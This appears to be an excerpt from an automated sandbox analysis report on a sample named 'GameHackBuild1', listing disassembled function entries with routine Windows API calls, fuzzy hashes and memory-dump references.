Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AddressProc__crt_fast_encode_pointer
String ID:
API String ID: 2279764990-0
Opcode ID: a4e7be2457b060c3867a3cfa7b31a185e65518b5009c7355c750feaa6dbbd89c
Instruction ID: 7f0b19c3159916c068b1f656e97a914a9410070f3ed27611c2a05ecc33a7af61
Opcode Fuzzy Hash: a4e7be2457b060c3867a3cfa7b31a185e65518b5009c7355c750feaa6dbbd89c
Instruction Fuzzy Hash: 91110A33A016319F9F25EF6CFC4589A73A5AB903207164230FD15EB244DB70DC42C6D2

Function 00A09B59 Relevance: 3.1, APIs: 2, Instructions: 57COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?,-00001964,?,00000800,-00001964,00A09B35,?,?,00000000,?,?,00A08D9C,?), ref: 00A09BC0
GetLastError.KERNEL32 ref: 00A09BCD

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: b692da39d34d8f36c60c751237baa59f33237e2b846b38a8cbfa9b7a9d0e72c0
Instruction ID: 51081392337a917c0245bc5f5a5d4ba6c54ecedd6354fa48e1a3e4104f008153
Opcode Fuzzy Hash: b692da39d34d8f36c60c751237baa59f33237e2b846b38a8cbfa9b7a9d0e72c0
Instruction Fuzzy Hash: F401C43230921D9BCB08CF65BD949BFB3A9AFC6731B14852DF916872D2DA31D8059A21

Function 00A09E40 Relevance: 3.1, APIs: 2, Instructions: 54COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,00000000,00000000,00000001), ref: 00A09E76
GetLastError.KERNEL32 ref: 00A09E82

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 445cfb6c3a4626f1c116fdd05bc34aff2029b565753bd578b96e986882121fbd
Instruction ID: 7cc91a3dd100ae3f23e1fa2914ad97bc10fa014ca07f0fa84aee11db3aa3dda2
Opcode Fuzzy Hash: 445cfb6c3a4626f1c116fdd05bc34aff2029b565753bd578b96e986882121fbd
Instruction Fuzzy Hash: B901B1723043085BEB34DF69ED44B6BB7D99B89318F14493EB146C36D1DA35EC488610

Function 00A28606 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A28627

Part of subcall function 00A28518: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A23A26,?,0000015D,?,?,?,?,00A24F02,000000FF,00000000,?,?), ref: 00A2854A

HeapReAlloc.KERNEL32(00000000,?,?,?,?,00A40F50,00A0CE57,?,?,?,?,?,?), ref: 00A28663

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 9ca28524c0846f0d3848a6d8be4e9dff3b81e631ab4e19b1bf5a09f76598b2ac
Instruction ID: d162a57f34e01be65d9722543fb5c62405149a8ee4ab9a97b030edd26098ef27
Opcode Fuzzy Hash: 9ca28524c0846f0d3848a6d8be4e9dff3b81e631ab4e19b1bf5a09f76598b2ac
Instruction Fuzzy Hash: 1FF062321071356ADB312B6DBD00F6F6B689F91BB1F248135F81496591EF2CC90195A5

Function 00A10908 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00A10915
GetProcessAffinityMask.KERNEL32(00000000), ref: 00A1091C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 4e6dafe33faba6ea6bdae204db22448c43c3afd9cb697336e26e3f754753e30e
Instruction ID: 4bfdde910eed03b0f659baf64f53adc2ee80fd3bf6d412960b4af03f4730ec80
Opcode Fuzzy Hash: 4e6dafe33faba6ea6bdae204db22448c43c3afd9cb697336e26e3f754753e30e
Instruction Fuzzy Hash: ECE09233A14109AB6F09CBB49C14CFB73ADEB052107204179B807D7201F970DEC186A4

Function 00A0A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00A0A27A,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00A0A27A,?,?,?,00A0A113,?,00000001,00000000,?,?), ref: 00A0A489

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c0a944d2999a3eb6eb22c2c4501f275ead79096c1f10b5d3cdc5274ce26b2cc2
Instruction ID: b4951cf3841726aa4705f8cb16c09a5fc5b5e36e79c0b5e2838ef4c007fcdba7
Opcode Fuzzy Hash: c0a944d2999a3eb6eb22c2c4501f275ead79096c1f10b5d3cdc5274ce26b2cc2
Instruction Fuzzy Hash: 20F0A03524520D7BEF019F60EC45FD9776CBB04382F04C051BC88861A1DB728AA9AA50

Function 00A1D573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A1D5A1
SetDlgItemTextW.USER32(00000065,?), ref: 00A1D5B8

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: a627c41a30b1fe09790c90cf25cae69158a51a19e7ec1a1fc3978c3ac1181282
Instruction ID: 63d9db9a65ee2572177c6765f1257c2aec3406888f5dbee2b4d72a1cbff3c1ac
Opcode Fuzzy Hash: a627c41a30b1fe09790c90cf25cae69158a51a19e7ec1a1fc3978c3ac1181282
Instruction Fuzzy Hash: D8F05C7250034C3ADB11EFF0AC02FDD372DAB05345F000541B700630E2D9766A904761

Function 00A0A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,00A0984C,?,?,00A09688,?,?,?,?,00A31FA1,000000FF), ref: 00A0A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,00A0984C,?,?,00A09688,?,?,?,?,00A31FA1,000000FF), ref: 00A0A16C

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e9244fe61b6cffa51f356e87d2c210a8dc4b6b7a48a67fb53aa0f1d430236f0e
Instruction ID: b3976234d5277b83adf5d0eb314edaa5d1a37aeecf114238a62a59922497ca5d
Opcode Fuzzy Hash: e9244fe61b6cffa51f356e87d2c210a8dc4b6b7a48a67fb53aa0f1d430236f0e
Instruction Fuzzy Hash: F7E0923564020C6BDB119F60EC81FE9776CAB09382F484065BC88C70A0DB729ED5AAA0

Function 00A1A39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00A31FA1,000000FF), ref: 00A1A3D1
CoUninitialize.COMBASE(?,?,?,?,00A31FA1,000000FF), ref: 00A1A3D6

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: e756f64e0b1789334938069cccd33378c30585872853de33e3c96f5b31511fc0
Instruction ID: e985f91eeba5347b6c6af85c320a3f0192371e62a3cb9fa23ba4449ff6b935f1
Opcode Fuzzy Hash: e756f64e0b1789334938069cccd33378c30585872853de33e3c96f5b31511fc0
Instruction Fuzzy Hash: D2F06536618654EFC711EB8DDD05B59FBACFB89B20F04436AF41983760CB796801CB91

Function 00A0A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00A0A189,?,00A076B2,?,?,?,?), ref: 00A0A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00A0A189,?,00A076B2,?,?,?,?), ref: 00A0A1D1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: a79c3d6cefd96520125fc3ec4687be2c4ead6d32e30b6d788d6d27c0ad8ec870
Instruction ID: 0cb391f45c13212c08921975480d2407f5716635d84a655a9bec92ef5246d309
Opcode Fuzzy Hash: a79c3d6cefd96520125fc3ec4687be2c4ead6d32e30b6d788d6d27c0ad8ec870
Instruction Fuzzy Hash: F6E0923650412C5BDB20EBA8EC05BD9B76CEB193E1F0042A1FD54E32D0D7719E889AE0

Function 00A10085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00A100A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00A0EB86,Crypt32.dll,00000000,00A0EC0A,?,?,00A0EBEC,?,?,?), ref: 00A100C2

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: 28f483cb892716de1aa53c2dbbef7820443853471ac353f836d0697d3de096fd
Instruction ID: fd53295b228298318e5133aec13cdd2f7f57f17375b3252eba0e3c4c86214460
Opcode Fuzzy Hash: 28f483cb892716de1aa53c2dbbef7820443853471ac353f836d0697d3de096fd
Instruction Fuzzy Hash: 7FE0127691511C6ADB21DBA4AD05FD6776CEF0D3D2F0400A5B948D3144DA749A848BB0

Function 00A19B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00A19B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00A19B37

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: cc69bf926306d5ea78991c47b83e4fddf463c6d41561619a8bcf7556723f77ca
Instruction ID: 6ae6590c7325384e959b9a753b51cd75cb8670911b71b845ca9e5a8c0e2e3ed5
Opcode Fuzzy Hash: cc69bf926306d5ea78991c47b83e4fddf463c6d41561619a8bcf7556723f77ca
Instruction Fuzzy Hash: BDE0ED71905218EBCB10DF99D5016DAB7FCEB09721F10805BEC9593200D771AE44DB95

Function 00A2215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 00A2329A: try_get_function.LIBVCRUNTIME ref: 00A232AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00A2217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00A22185

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: 9890e11b73e963c6270ea6b8fbaecfae397822bcc76e76a92b908fef513974e6
Instruction ID: b56460a8177038bde09c491b7b9cbb9cd58000526d6ce81b948839eaced45176
Opcode Fuzzy Hash: 9890e11b73e963c6270ea6b8fbaecfae397822bcc76e76a92b908fef513974e6
Instruction Fuzzy Hash: FBD0A936608372343D08A7BC3E43FA823646862BB43F00B76F7208A0E1EF1481216312

Function 00A1DC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 00A1DC73
DloadProtectSection.DELAYIMP ref: 00A1DC8F

Part of subcall function 00A1DE67: DloadObtainSection.DELAYIMP ref: 00A1DE77

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: e28f39b0a1eb8bb9c0b46218c38ee9c77dd4a92407240c3467f4ddc0f33ca903
Instruction ID: 59d1157c036534041a7e93c8f8a82e476e1d2309d1e1b08a787f85e38fee7dbf
Opcode Fuzzy Hash: e28f39b0a1eb8bb9c0b46218c38ee9c77dd4a92407240c3467f4ddc0f33ca903
Instruction Fuzzy Hash: BDD012745402015EC715EBB49E46BDD3371B704744FA40A05F105C70A0DFF458C2C645

Function 00A012E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00A012FB
ShowWindow.USER32(00000000), ref: 00A01302

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 84b5016c48c8f60ee9b3c103c27de8e4a7233582ccffa20002621144fd724336
Instruction ID: 6e86f7dbc1882c7d0e13873d9128d433185ea3240b822aeb1a9a19eacebedcac
Opcode Fuzzy Hash: 84b5016c48c8f60ee9b3c103c27de8e4a7233582ccffa20002621144fd724336
Instruction Fuzzy Hash: 24C0123205C600BFCB018BB0DC09E2FBBB8ABA6212F05CA08F2A5C0060C238C010DB11

Function 00A019A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A019AB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2b1938a9292511d8463889ce930c26921b249c5f72a6a72449c61065b95db6a5
Instruction ID: 09071069a4f9ac27c181f667397d7505f5f68d2549a11b7adce8d45213503bd3
Opcode Fuzzy Hash: 2b1938a9292511d8463889ce930c26921b249c5f72a6a72449c61065b95db6a5
Instruction Fuzzy Hash: C1C1B130A042489FEF15CFA8D894BE97BE5EF1A314F0844B9EC46DB2C6CB759944CB61

Function 00A03B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A03B42

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ca5648fef2b8ec46c6c9c7d906f396526f110ebd56ab31e480fa9bea4441141c
Instruction ID: 1d056761386810e30c66f2dbdd6ed4b3a6cc9d7e6c124aafd18adef919c09b92
Opcode Fuzzy Hash: ca5648fef2b8ec46c6c9c7d906f396526f110ebd56ab31e480fa9bea4441141c
Instruction Fuzzy Hash: 6F71AE72504F48AEDF25DB30DD51AE7B7E8AF14301F444D6EE5AB87182DA316A48DF10

Function 00A0837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A08384

Part of subcall function 00A01380: __EH_prolog.LIBCMT ref: 00A01385
Part of subcall function 00A01380: new.LIBCMT ref: 00A013FE

Part of subcall function 00A019A6: __EH_prolog.LIBCMT ref: 00A019AB

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 374d68acb7a64be883447aa92d146da405ed0d7c026174f2fd5f56ce14f93564
Instruction ID: 262b34e92be7fb9eb16ad6b900ff925b437ef759b8c421f71ece74ab21c4fcc5
Opcode Fuzzy Hash: 374d68acb7a64be883447aa92d146da405ed0d7c026174f2fd5f56ce14f93564
Instruction Fuzzy Hash: BA41C33184065C9ADF20DB60ED55BEA73B8AF50310F0440EAE58AA70D3DF795EC8DB54

Function 00A12E6D Relevance: 1.6, APIs: 1, Instructions: 90COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A12E72

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

